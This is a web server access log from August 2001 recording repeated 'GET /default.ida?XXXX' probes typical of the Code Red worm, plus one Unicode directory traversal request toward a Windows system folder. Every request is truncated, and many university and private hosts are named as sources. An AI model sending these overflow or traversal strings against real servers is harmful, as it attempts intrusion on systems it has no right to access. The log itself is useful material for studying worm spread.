20010823 14:14:41: [128.59.192.250] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXX.." 20010823 14:27:36: [128.134.180.28] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXX.." 20010823 14:28:17: dynamic-54-87.dyn.columbia.edu [128.59.54.87] "GET /defau.." 20010823 14:45:56: [61.11.40.233] "" 20010823 14:57:19: bus205-233.gsb.columbia.edu [128.59.205.233] "GET /defaul.." 20010823 15:06:01: dialup-cc1-22.cc.columbia.edu [128.59.58.31] "GET /defaul.." 20010823 15:07:49: dialup-cc1-22.cc.columbia.edu [128.59.58.31] "GET /defaul.." 20010823 15:10:54: [128.59.192.250] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXX.." 20010823 15:13:12: [128.59.192.250] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXX.." 20010823 15:14:23: [128.59.192.250] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXX.." 20010823 15:17:23: lewd30.dsp.columbia.edu [128.59.207.82] "GET /default.ida.." 20010823 15:23:57: lewd30.dsp.columbia.edu [128.59.207.82] "GET /default.ida.." 20010823 15:24:48: lewd30.dsp.columbia.edu [128.59.207.82] "GET /default.ida.." 20010823 15:28:44: [128.59.192.250] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXX.." 20010823 15:40:51: 1Cust97.tnt2.muskegon.mi.da.uu.net [63.23.175.97] "HEAD /.." 20010823 15:49:40: dynamic-235-131.dyn.columbia.edu [128.59.235.131] "GET /d.." 20010823 15:53:10: lewb50.dsp.columbia.edu [128.59.207.102] "GET /default.id.." 20010823 15:59:27: [128.59.192.250] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXX.." 20010823 16:01:58: lewc01.dsp.columbia.edu [128.59.207.60] "GET /default.ida.." 20010823 16:28:06: lewc01.dsp.columbia.edu [128.59.207.60] "GET /default.ida.." 20010823 16:36:37: lewc01.dsp.columbia.edu [128.59.207.60] "GET /default.ida.." 20010823 16:45:48: r71h13.res.gatech.edu [128.61.71.13] "GET /default.ida?XX.." 20010823 16:56:48: cdm-66-52-39-tylr.cox-internet.com [66.76.52.39] "GET /de.." 20010823 17:10:45: lewb53.dsp.columbia.edu [128.59.207.105] "GET /default.id.." 20010823 17:43:58: dynamic-33-166.dyn.columbia.edu [128.59.33.166] "GET /def.." 20010823 17:47:24: [128.59.192.250] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXX.." 20010823 17:56:59: lewb42.dsp.columbia.edu [128.59.207.94] "GET /default.ida.." 20010823 18:01:14: lewb42.dsp.columbia.edu [128.59.207.94] "GET /default.ida.." 20010823 18:05:23: dynamic-54-87.dyn.columbia.edu [128.59.54.87] "GET /defau.." 20010823 18:06:21: [61.174.139.59] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXX.." 20010823 18:23:13: lewc01.dsp.columbia.edu [128.59.207.60] "GET /default.ida.." 20010823 18:32:04: lewb42.dsp.columbia.edu [128.59.207.94] "GET /default.ida.." 20010823 18:33:50: lewc01.dsp.columbia.edu [128.59.207.60] "GET /default.ida.." 20010823 18:45:56: dynamic-54-87.dyn.columbia.edu [128.59.54.87] "GET /defau.." 20010823 18:50:39: CHEMLAB2.CHEM.NYU.EDU [128.122.39.6] "GET /default.ida?XX.." 20010823 19:35:29: [128.197.234.130] "GET /default.ida?XXXXXXXXXXXXXXXXXXXX.." 20010823 19:44:47: [128.39.194.24] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXX.." 20010823 19:55:12: lewc01.dsp.columbia.edu [128.59.207.60] "GET /default.ida.." 20010823 20:10:30: lewb50.dsp.columbia.edu [128.59.207.102] "GET /default.id.." 20010823 20:10:54: dynamic-54-87.dyn.columbia.edu [128.59.54.87] "GET /defau.." 20010823 20:26:03: lewc01.dsp.columbia.edu [128.59.207.60] "GET /default.ida.." 20010823 20:43:20: lewb53.dsp.columbia.edu [128.59.207.105] "GET /default.id.." 20010823 21:02:57: lewb53.dsp.columbia.edu [128.59.207.105] "GET /default.id.." 20010823 21:07:36: [128.59.192.250] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXX.." 20010823 21:19:17: lewb53.dsp.columbia.edu [128.59.207.105] "GET /default.id.." 20010823 21:37:11: lewa61.dsp.columbia.edu [128.59.207.114] "GET /default.id.." 20010823 21:44:52: lewc21.dsp.columbia.edu [128.59.207.37] "GET /default.ida.." 20010823 21:58:08: lewa56.dsp.columbia.edu [128.59.207.108] "GET /default.id.." 20010823 22:01:05: [61.150.139.136] "" 20010823 22:16:42: [128.59.192.250] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXX.." 20010823 22:17:13: lewc02.dsp.columbia.edu [128.59.207.61] "GET /default.ida.." 20010823 22:33:19: lewc11.dsp.columbia.edu [128.59.207.70] "GET /default.ida.." 20010823 23:04:58: lewa65.dsp.columbia.edu [128.59.207.118] "GET /default.id.." 20010823 23:22:47: dialup-cc1-89.cc.columbia.edu [128.59.58.98] "GET /defaul.." 20010823 23:25:26: dialup-cc1-89.cc.columbia.edu [128.59.58.98] "GET /defaul.." 20010823 23:41:37: [211.201.58.83] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXX.." 20010823 23:49:35: dynamic-235-131.dyn.columbia.edu [128.59.235.131] "GET /d.." 20010824 00:05:49: dynamic-235-131.dyn.columbia.edu [128.59.235.131] "GET /d.." 20010824 00:07:06: dynamic-235-131.dyn.columbia.edu [128.59.235.131] "GET /d.." 20010824 00:23:33: lewa65.dsp.columbia.edu [128.59.207.118] "GET /default.id.." 20010824 00:32:59: lewa65.dsp.columbia.edu [128.59.207.118] "GET /default.id.." 20010824 00:35:13: [203.248.25.117] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXX.." 20010824 00:36:39: [128.59.192.250] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXX.." 20010824 00:51:29: dynamic-54-87.dyn.columbia.edu [128.59.54.87] "GET /defau.." 20010824 00:55:43: lewc11.dsp.columbia.edu [128.59.207.70] "GET /default.ida.." 20010824 01:21:20: lewc11.dsp.columbia.edu [128.59.207.70] "GET /default.ida.." 20010824 01:24:58: dynamic-54-87.dyn.columbia.edu [128.59.54.87] "GET /defau.." 20010824 01:25:59: lewc11.dsp.columbia.edu [128.59.207.70] "GET /default.ida.." 20010824 01:49:31: dynamic-235-131.dyn.columbia.edu [128.59.235.131] "GET /d.." 20010824 02:19:57: [128.59.192.250] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXX.." 20010824 02:25:21: lewc11.dsp.columbia.edu [128.59.207.70] "GET /default.ida.." 20010824 02:26:37: dynamic-54-87.dyn.columbia.edu [128.59.54.87] "GET /defau.." 20010824 02:47:51: lewc11.dsp.columbia.edu [128.59.207.70] "GET /default.ida.." 20010824 03:06:43: cba218.cba.hawaii.edu [128.171.119.218] "GET /default.ida.." 20010824 03:13:24: [211.154.96.132] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXX.." 20010824 03:44:09: dynamic-54-87.dyn.columbia.edu [128.59.54.87] "GET /defau.." 20010824 04:19:41: [211.8.130.18] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXX.." 20010824 04:32:08: [195.53.233.11] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXX.." 20010824 04:53:11: N311P019.adsl.highway.telekom.at [213.33.38.211] "GET /de.." 20010824 06:00:36: lewc11.dsp.columbia.edu [128.59.207.70] "GET /default.ida.." 20010824 06:35:05: lewa65.dsp.columbia.edu [128.59.207.118] "GET /default.id.." 20010824 06:37:54: dynamic-235-131.dyn.columbia.edu [128.59.235.131] "GET /d.." 20010824 07:15:12: dynamic-54-87.dyn.columbia.edu [128.59.54.87] "GET /defau.." 20010824 07:24:19: ip180.kd4nxx2.adsl-dhcp.tele.dk [62.243.184.38] "GET /def.." 20010824 07:40:14: [200.15.46.75] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXX.." 20010824 07:40:33: dynamic-54-87.dyn.columbia.edu [128.59.54.87] "GET /defau.." 20010824 08:14:03: dynamic-54-87.dyn.columbia.edu [128.59.54.87] "GET /defau.." 20010824 08:17:19: lewa65.dsp.columbia.edu [128.59.207.118] "GET /default.id.." 20010824 08:24:26: dynamic-54-87.dyn.columbia.edu [128.59.54.87] "GET /defau.." 20010824 08:28:31: [195.53.233.11] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXX.." 20010824 08:50:47: [128.59.192.250] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXX.." 20010824 08:58:33: dynamic-54-87.dyn.columbia.edu [128.59.54.87] "GET /defau.." 20010824 09:45:35: lewc11.dsp.columbia.edu [128.59.207.70] "GET /default.ida.." 20010824 10:02:51: [61.150.133.203] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXX.." 20010824 10:15:55: lewc11.dsp.columbia.edu [128.59.207.70] "GET /default.ida.." 20010824 10:44:57: lewa65.dsp.columbia.edu [128.59.207.118] "GET /default.id.." 20010824 10:59:31: lewc11.dsp.columbia.edu [128.59.207.70] "GET /default.ida.." 20010824 11:09:04: dynamic-235-131.dyn.columbia.edu [128.59.235.131] "GET /d.." 20010824 11:40:00: lewc11.dsp.columbia.edu [128.59.207.70] "GET /default.ida.." 20010824 12:23:34: dynamic-54-87.dyn.columbia.edu [128.59.54.87] "GET /defau.." 20010824 12:25:12: [128.59.192.250] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXX.." 20010824 12:37:14: dynamic-54-87.dyn.columbia.edu [128.59.54.87] "GET /defau.." 20010824 12:46:51: dynamic-54-87.dyn.columbia.edu [128.59.54.87] "GET /defau.." 20010824 13:11:25: dynamic-235-131.dyn.columbia.edu [128.59.235.131] "GET /d.." 20010824 13:30:15: [206.47.90.78] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXX.." 20010824 14:52:08: dynamic-235-131.dyn.columbia.edu [128.59.235.131] "GET /d.." 20010824 16:28:12: ns.uchida.env.waseda.ac.jp [133.9.192.222] "GET /default..." 20010824 17:10:25: dynamic-51-234.dyn.columbia.edu [128.59.51.234] "GET /def.." 20010824 17:20:28: [128.59.192.250] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXX.." 20010824 17:37:45: lewd68.dsp.columbia.edu [128.59.207.121] "GET /default.id.." 20010824 17:39:52: r77h133.res.gatech.edu [128.61.77.133] "GET /default.ida?.." 20010824 17:51:29: lewd68.dsp.columbia.edu [128.59.207.121] "GET /default.id.." 20010824 18:39:32: dynamic-51-234.dyn.columbia.edu [128.59.51.234] "GET /def.." 20010824 18:53:10: dynamic-51-234.dyn.columbia.edu [128.59.51.234] "GET /def.." 20010824 18:55:51: bay4-13.dial.umd.edu [128.8.22.205] "GET /default.ida?XXX.." 20010824 19:55:53: dynamic-54-87.dyn.columbia.edu [128.59.54.87] "GET /defau.." 20010824 20:18:50: dynamic-51-234.dyn.columbia.edu [128.59.51.234] "GET /def.." 20010824 20:37:39: dynamic-51-234.dyn.columbia.edu [128.59.51.234] "GET /def.." 20010824 21:09:14: dynamic-54-87.dyn.columbia.edu [128.59.54.87] "GET /defau.." 20010824 21:11:01: dynamic-54-87.dyn.columbia.edu [128.59.54.87] "GET /defau.." 20010824 21:51:56: [128.59.192.250] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXX.." 20010824 22:41:17: muktuk.byu.edu [128.187.155.71] "GET /default.ida?XXXXXXX.." 20010824 22:41:45: dynamic-51-234.dyn.columbia.edu [128.59.51.234] "GET /def.." 20010824 23:33:01: cad.cnu.ac.kr [168.188.133.209] "GET /default.ida?XXXXXXX.." 20010825 00:09:05: [209.37.188.104] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXX.." 20010825 00:21:10: dynamic-51-234.dyn.columbia.edu [128.59.51.234] "GET /def.." 20010825 00:29:30: [128.59.192.250] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXX.." 20010825 00:30:16: usrns222.dialup.hawaii.edu [128.171.66.222] "GET /default.." 20010825 00:30:42: [128.59.192.250] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXX.." 20010825 00:36:01: marconi.co.nz [203.167.212.118] "XXXXXXXXXXXXXXXXXXXXXXXX.." 20010825 00:36:15: dynamic-235-131.dyn.columbia.edu [128.59.235.131] "GET /d.." 20010825 01:39:01: dynamic-51-234.dyn.columbia.edu [128.59.51.234] "GET /def.." 20010825 02:26:31: [128.59.192.250] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXX.." 20010825 02:53:41: [211.23.51.210] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXX.." 20010825 03:50:05: [128.59.192.250] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXX.." 20010825 04:17:02: dynamic-235-131.dyn.columbia.edu [128.59.235.131] "GET /d.." 20010825 04:47:54: AnynameD.graham.clarkson.edu [128.153.160.103] "GET /defa.." 20010825 04:53:12: [128.59.192.250] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXX.." 20010825 05:11:49: [128.59.192.250] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXX.." 20010825 05:18:08: [128.134.50.184] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXX.." 20010825 05:27:40: [216.205.172.130] "GET /scripts/..%c0%af../winnt/system3.." 20010825 05:49:24: dynamic-51-234.dyn.columbia.edu [128.59.51.234] "GET /def.." 20010825 06:21:33: dynamic-51-234.dyn.columbia.edu [128.59.51.234] "GET /def.." 20010825 06:42:42: dynamic-51-234.dyn.columbia.edu [128.59.51.234] "GET /def.." 20010825 07:07:08: dynamic-51-234.dyn.columbia.edu [128.59.51.234] "GET /def.." 20010825 07:43:48: dialup-cc2-52.cc.columbia.edu [128.59.58.157] "GET /defau.." 20010825 07:54:02: [128.164.247.202] "GET /default.ida?XXXXXXXXXXXXXXXXXXXX.." 20010825 07:55:33: dynamic-51-234.dyn.columbia.edu [128.59.51.234] "GET /def.." 20010825 08:31:34: [128.59.192.250] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXX.." 20010825 08:45:14: [128.59.192.250] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXX.." 20010825 09:50:59: dynamic-235-131.dyn.columbia.edu [128.59.235.131] "GET /d.." 20010825 09:57:57: dynamic-51-234.dyn.columbia.edu [128.59.51.234] "GET /def.." 20010825 10:50:45: dynamic-235-131.dyn.columbia.edu [128.59.235.131] "GET /d.." 20010825 11:12:44: [128.39.194.24] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXX.." 20010825 11:44:16: erbium-asy-76.rutgers.edu [128.6.53.80] "GET /default.ida.." 20010825 13:52:55: r75h163.res.gatech.edu [128.61.75.163] "GET /default.ida?.." 20010825 14:38:16: [128.59.192.250] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXX.." 20010825 14:39:38: dialup-ccts5-189.cc.columbia.edu [128.59.6.198] "GET /def.." 20010825 14:49:11: dialup-ccts5-189.cc.columbia.edu [128.59.6.198] "GET /def.." 20010825 14:53:34: dialup-ccts5-189.cc.columbia.edu [128.59.6.198] "GET /def.." 20010825 14:59:28: dialup-ccts5-189.cc.columbia.edu [128.59.6.198] "GET /def.." 20010825 15:00:54: dialup-ccts5-189.cc.columbia.edu [128.59.6.198] "GET /def.." 20010825 15:14:28: dynamic-54-87.dyn.columbia.edu [128.59.54.87] "GET /defau.." 20010825 15:33:59: dialup-ccts5-189.cc.columbia.edu [128.59.6.198] "GET /def.." 20010825 15:47:34: dynamic-235-131.dyn.columbia.edu [128.59.235.131] "GET /d.." 20010825 16:55:17: love337b.me.gatech.edu [128.61.141.118] "GET /default.ida.." 20010825 17:30:17: [128.59.192.250] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXX.." 20010825 17:38:52: dynamic-235-131.dyn.columbia.edu [128.59.235.131] "GET /d.." 20010825 17:41:38: dynamic-235-131.dyn.columbia.edu [128.59.235.131] "GET /d.." 20010825 18:03:34: dynamic-235-131.dyn.columbia.edu [128.59.235.131] "GET /d.." 20010825 18:33:03: dynamic-235-131.dyn.columbia.edu [128.59.235.131] "GET /d.." 20010825 18:49:47: dynamic-54-87.dyn.columbia.edu [128.59.54.87] "GET /defau.." 20010825 19:14:27: dynamic-54-87.dyn.columbia.edu [128.59.54.87] "GET /defau.." 20010825 20:04:46: dynamic-54-87.dyn.columbia.edu [128.59.54.87] "GET /defau.." 20010825 20:10:05: dynamic-54-87.dyn.columbia.edu [128.59.54.87] "GET /defau.." 20010825 20:56:04: [128.59.192.250] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXX.." 20010825 21:51:23: [128.59.192.250] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXX.." 20010825 22:19:49: r75h163.res.gatech.edu [128.61.75.163] "GET /default.ida?.." 20010825 22:37:55: dialup-ccts5-6.cc.columbia.edu [128.59.6.15] "GET /defaul.." 20010825 23:59:25: [128.59.192.250] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXX.." 20010826 00:24:37: dynamic-235-131.dyn.columbia.edu [128.59.235.131] "GET /d.." 20010826 00:38:47: syru229-205.syr.edu [128.230.229.205] "GET /default.ida?X.." 20010826 00:49:14: user-112up5h.biz.mindspring.com [66.47.100.177] "GET /def.." 20010826 04:19:39: fw1.ikon.com [205.145.1.40] "GET /default.ida?XXXXXXXXXXX.." 20010826 04:21:28: fw1.ikon.com [205.145.1.40] "GET /default.ida?XXXXXXXXXXX.." 20010826 04:24:16: fw1.ikon.com [205.145.1.40] "GET /default.ida?XXXXXXXXXXX.." 20010826 04:30:38: fw1.ikon.com [205.145.1.40] "GET /default.ida?XXXXXXXXXXX.." 20010826 04:30:48: fw1.ikon.com [205.145.1.40] "GET /default.ida?XXXXXXXXXXX.." 20010826 04:31:19: fw1.ikon.com [205.145.1.40] "GET /default.ida?XXXXXXXXXXX.." 20010826 04:31:56: fw1.ikon.com [205.145.1.40] "GET /default.ida?XXXXXXXXXXX.." 20010826 04:32:41: fw1.ikon.com [205.145.1.40] "GET /default.ida?XXXXXXXXXXX.." 20010826 04:33:55: fw1.ikon.com [205.145.1.40] "GET /default.ida?XXXXXXXXXXX.." 20010826 04:34:05: fw1.ikon.com [205.145.1.40] "GET /default.ida?XXXXXXXXXXX.." 20010826 04:34:49: fw1.ikon.com [205.145.1.40] "GET /default.ida?XXXXXXXXXXX.." 20010826 04:42:08: fw1.ikon.com [205.145.1.40] "GET /default.ida?XXXXXXXXXXX.." 20010826 04:43:09: fw1.ikon.com [205.145.1.40] "GET /default.ida?XXXXXXXXXXX.." 20010826 04:53:55: fw1.ikon.com [205.145.1.40] "GET /default.ida?XXXXXXXXXXX.." 20010826 05:19:04: [209.37.188.103] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXX.." 20010826 05:50:59: [128.59.192.250] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXX.." 20010826 06:10:05: fw1.ikon.com [205.145.1.40] "GET /default.ida?XXXXXXXXXXX.." 20010826 06:35:46: [128.164.205.173] "GET /default.ida?XXXXXXXXXXXXXXXXXXXX.." 20010826 06:47:09: fw1.ikon.com [205.145.1.40] "GET /default.ida?XXXXXXXXXXX.." 20010826 06:59:58: [128.59.192.250] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXX.." 20010826 07:30:50: [128.107.193.197] "GET /default.ida?XXXXXXXXXXXXXXXXXXXX.." 20010826 07:42:51: bootp-254-193.bootp.Virginia.EDU [128.143.254.193] "GET /.." 20010826 08:38:58: [128.59.192.250] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXX.." 20010826 08:46:30: [128.59.192.250] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXX.." 20010826 09:04:55: [128.134.248.204] "GET /default.ida?XXXXXXXXXXXXXXXXXXXX.." 20010826 09:39:20: [128.134.57.84] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXX.." 20010826 10:22:19: [128.11.177.69] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXX.." 20010826 10:22:37: [128.11.177.69] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXX.." 20010826 10:28:06: [128.104.56.79] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXX.." 20010826 12:13:06: [128.59.192.250] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXX.." 20010826 12:33:36: dynamic-235-131.dyn.columbia.edu [128.59.235.131] "GET /d.." 20010826 12:38:39: dynamic-235-131.dyn.columbia.edu [128.59.235.131] "GET /d.." 20010826 14:11:09: [128.121.189.180] "GET /default.ida?XXXXXXXXXXXXXXXXXXXX.." 20010826 14:26:09: [128.59.192.250] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXX.." 20010826 14:52:29: r77h124.res.gatech.edu [128.61.77.124] "GET /default.ida?.." 20010826 14:59:46: bing81.rafuse.binghamton.edu [128.226.150.81] "GET /defau.." 20010826 16:00:20: dynamic-235-131.dyn.columbia.edu [128.59.235.131] "GET /d.." 20010826 17:01:31: dialup-ccts5-41.cc.columbia.edu [128.59.6.50] "GET /defau.." 20010826 17:26:43: dynamic-54-87.dyn.columbia.edu [128.59.54.87] "GET /defau.." 20010826 18:19:00: r67h71.res.gatech.edu [128.61.67.71] "GET /default.ida?XX.." 20010826 18:32:18: [128.59.192.250] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXX.." 20010826 18:45:35: [128.59.192.250] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXX.." 20010826 19:41:29: dynamic-235-131.dyn.columbia.edu [128.59.235.131] "GET /d.." 20010826 19:48:09: dynamic-54-87.dyn.columbia.edu [128.59.54.87] "GET /defau.." 20010826 19:53:39: dynamic-235-131.dyn.columbia.edu [128.59.235.131] "GET /d.." 20010826 20:49:09: [128.59.192.250] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXX.." 20010826 20:55:40: [128.59.192.250] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXX.." 20010826 21:03:22: [211.163.128.43] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXX.." 20010826 21:31:47: dynamic-54-87.dyn.columbia.edu [128.59.54.87] "GET /defau.." 20010826 21:47:43: dynamic-235-131.dyn.columbia.edu [128.59.235.131] "GET /d.." 20010826 22:13:39: dynamic-54-87.dyn.columbia.edu [128.59.54.87] "GET /defau.." 20010826 22:30:56: dynamic-235-131.dyn.columbia.edu [128.59.235.131] "GET /d.." 20010826 22:31:19: dynamic-54-87.dyn.columbia.edu [128.59.54.87] "GET /defau.." 20010826 22:31:24: [169.207.144.120] "GET /default.ida?XXXXXXXXXXXXXXXXXXXX.." 20010826 23:39:36: dynamic-54-87.dyn.columbia.edu [128.59.54.87] "GET /defau.." 20010827 00:01:26: sc57.eastnet.gatech.edu [128.61.106.57] "GET /default.ida.." 20010827 00:27:34: [202.110.184.197] "GET /default.ida?XXXXXXXXXXXXXXXXXXXX.." 20010827 00:31:24: dialup-ccts5-111.cc.columbia.edu [128.59.6.120] "GET /def.." 20010827 03:42:29: RICKO.RES.CMU.EDU [128.2.161.105] "GET /default.ida?XXXXX.." 20010827 03:45:53: [128.134.18.123] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXX.." 20010827 04:50:16: dynamic-235-131.dyn.columbia.edu [128.59.235.131] "GET /d.." 20010827 04:50:18: [128.59.192.250] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXX.." 20010827 05:13:45: dynamic-235-131.dyn.columbia.edu [128.59.235.131] "GET /d.." 20010827 05:33:35: fw1.ikon.com [205.145.1.40] "GET /default.ida?XXXXXXXXXXX.." 20010827 05:36:31: fw1.ikon.com [205.145.1.40] "GET /default.ida?XXXXXXXXXXX.." 20010827 06:04:14: dynamic-235-131.dyn.columbia.edu [128.59.235.131] "GET /d.." 20010827 09:31:38: dynamic-235-131.dyn.columbia.edu [128.59.235.131] "GET /d.." 20010827 11:42:16: dialup-ccts5-112.cc.columbia.edu [128.59.6.121] "GET /def.." 20010827 11:43:55: [202.103.6.131] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXX.." 20010827 12:19:18: dynamic-235-131.dyn.columbia.edu [128.59.235.131] "GET /d.." 20010827 15:12:37: r68h102.res.gatech.edu [128.61.68.102] "GET /default.ida?.." 20010827 16:03:28: [128.59.192.250] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXX.." 20010827 16:58:43: dynamic-235-131.dyn.columbia.edu [128.59.235.131] "GET /d.." 20010827 17:04:02: syru170-233.syr.edu [128.230.170.233] "GET /default.ida?X.." 20010827 17:06:03: [128.59.192.250] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXX.." 20010827 18:37:12: dynamic-54-87.dyn.columbia.edu [128.59.54.87] "GET /defau.." 20010827 19:21:40: dialup-cc2-64.cc.columbia.edu [128.59.58.169] "GET /defau.." 20010827 19:47:49: dynamic-51-234.dyn.columbia.edu [128.59.51.234] "GET /def.." 20010827 20:12:15: dynamic-235-131.dyn.columbia.edu [128.59.235.131] "GET /d.." 20010827 20:41:48: host69-103.student.udel.edu [128.175.69.103] "GET /defaul.." 20010827 21:08:15: [61.137.86.208] "" 20010827 21:18:23: dynamic-235-131.dyn.columbia.edu [128.59.235.131] "GET /d.." 20010827 21:22:10: access-isdn2-83.hbg.psu.edu [128.118.249.133] "GET /defau.." 20010827 23:00:26: dynamic-54-87.dyn.columbia.edu [128.59.54.87] "GET /defau.." 20010827 23:03:11: mail.pogohungary.com [212.105.228.3] "GET /default.ida?XX.." 20010827 23:06:06: [128.59.192.250] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXX.." 20010827 23:29:44: dynamic-54-87.dyn.columbia.edu [128.59.54.87] "GET /defau.." 20010827 23:38:12: ddm2636.resnet.tamu.edu [128.194.52.242] "GET /default.id.." 20010827 23:59:44: dynamic-51-234.dyn.columbia.edu [128.59.51.234] "GET /def.." 20010828 00:00:05: dynamic-51-234.dyn.columbia.edu [128.59.51.234] "GET /def.." 20010828 00:01:09: dynamic-54-87.dyn.columbia.edu [128.59.54.87] "GET /defau.." 20010828 00:13:04: www.eguide.co.th [203.144.251.199] "GET /default.ida?XXXX.." 20010828 00:16:04: dynamic-51-234.dyn.columbia.edu [128.59.51.234] "GET /def.." 20010828 00:51:06: dialup-ccts5-35.cc.columbia.edu [128.59.6.44] "GET /defau.." 20010828 00:54:42: dialup-ccts5-35.cc.columbia.edu [128.59.6.44] "" 20010828 02:09:38: dynamic-51-234.dyn.columbia.edu [128.59.51.234] "GET /def.." 20010828 02:23:26: [128.59.192.250] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXX.." 20010828 04:04:34: [128.59.192.250] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXX.." 20010828 05:05:59: dynamic-51-234.dyn.columbia.edu [128.59.51.234] "GET /def.." 20010828 05:21:38: N861P017.adsl.highway.telekom.at [62.47.51.145] "GET /def.." 20010828 05:25:20: dynamic-54-87.dyn.columbia.edu [128.59.54.87] "GET /defau.." 20010828 05:55:29: dynamic-51-234.dyn.columbia.edu [128.59.51.234] "GET /def.." 20010828 06:01:42: dynamic-51-234.dyn.columbia.edu [128.59.51.234] "GET /def.." 20010828 06:12:51: dynamic-51-234.dyn.columbia.edu [128.59.51.234] "GET /def.." 20010828 06:23:50: [204.26.86.217] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXX.." 20010828 06:41:52: dynamic-54-87.dyn.columbia.edu [128.59.54.87] "GET /defau.." 20010828 07:07:00: dynamic-51-234.dyn.columbia.edu [128.59.51.234] "GET /def.." 20010828 07:24:40: dynamic-51-234.dyn.columbia.edu [128.59.51.234] "GET /def.." 20010828 07:34:14: dynamic-51-234.dyn.columbia.edu [128.59.51.234] "GET /def.." 20010828 07:37:43: [128.59.192.250] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXX.." 20010828 07:38:18: dynamic-54-87.dyn.columbia.edu [128.59.54.87] "GET /defau.." 20010828 08:01:17: dynamic-54-87.dyn.columbia.edu [128.59.54.87] "GET /defau.." 20010828 08:06:30: [128.59.192.250] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXX.." 20010828 08:53:35: dynamic-54-87.dyn.columbia.edu [128.59.54.87] "GET /defau.." 20010828 08:54:11: zbt07.eastnet.gatech.edu [128.61.107.135] "GET /default.i.." 20010828 09:07:38: wpr2-d931c695.pool.mediaWays.net [217.49.198.149] "GET /d.." 20010828 09:20:42: dynamic-51-234.dyn.columbia.edu [128.59.51.234] "GET /def.." 20010828 09:53:23: dynamic-51-234.dyn.columbia.edu [128.59.51.234] "GET /def.." 20010828 10:11:40: GROATS-116-57.PPP.ANDREW.CMU.EDU [128.2.116.57] "GET /def.." 20010828 10:16:09: dynamic-51-234.dyn.columbia.edu [128.59.51.234] "GET /def.." 20010828 10:53:33: varenne2.tc.columbia.edu [128.59.89.249] "GET /default.id.." 20010828 10:54:22: dynamic-54-87.dyn.columbia.edu [128.59.54.87] "GET /defau.." 20010828 11:00:38: varenne2.tc.columbia.edu [128.59.89.249] "GET /default.id.." 20010828 11:07:44: dynamic-235-131.dyn.columbia.edu [128.59.235.131] "GET /d.." 20010828 11:28:09: varenne2.tc.columbia.edu [128.59.89.249] "GET /default.id.." 20010828 11:51:39: varenne2.tc.columbia.edu [128.59.89.249] "GET /default.id.." 20010828 12:02:32: dynamic-54-87.dyn.columbia.edu [128.59.54.87] "GET /defau.." 20010828 12:04:41: dynamic-51-234.dyn.columbia.edu [128.59.51.234] "GET /def.." 20010828 12:37:10: dynamic-235-131.dyn.columbia.edu [128.59.235.131] "GET /d.." 20010828 13:09:52: dynamic-30-85.dyn.columbia.edu [128.59.30.85] "GET /defau.." 20010828 13:19:15: [128.59.192.250] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXX.." 20010828 13:22:14: dynamic-30-85.dyn.columbia.edu [128.59.30.85] "GET /defau.." 20010828 